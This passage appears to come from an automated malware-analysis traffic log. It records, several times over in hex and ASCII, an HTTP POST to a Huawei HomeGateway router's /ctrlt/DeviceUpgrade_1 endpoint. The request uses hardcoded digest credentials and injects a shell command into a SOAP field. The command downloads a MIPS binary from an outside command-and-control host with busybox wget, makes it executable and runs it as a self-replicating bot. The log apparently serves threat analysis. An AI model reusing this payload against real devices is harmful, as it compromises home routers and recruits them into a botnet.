/nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 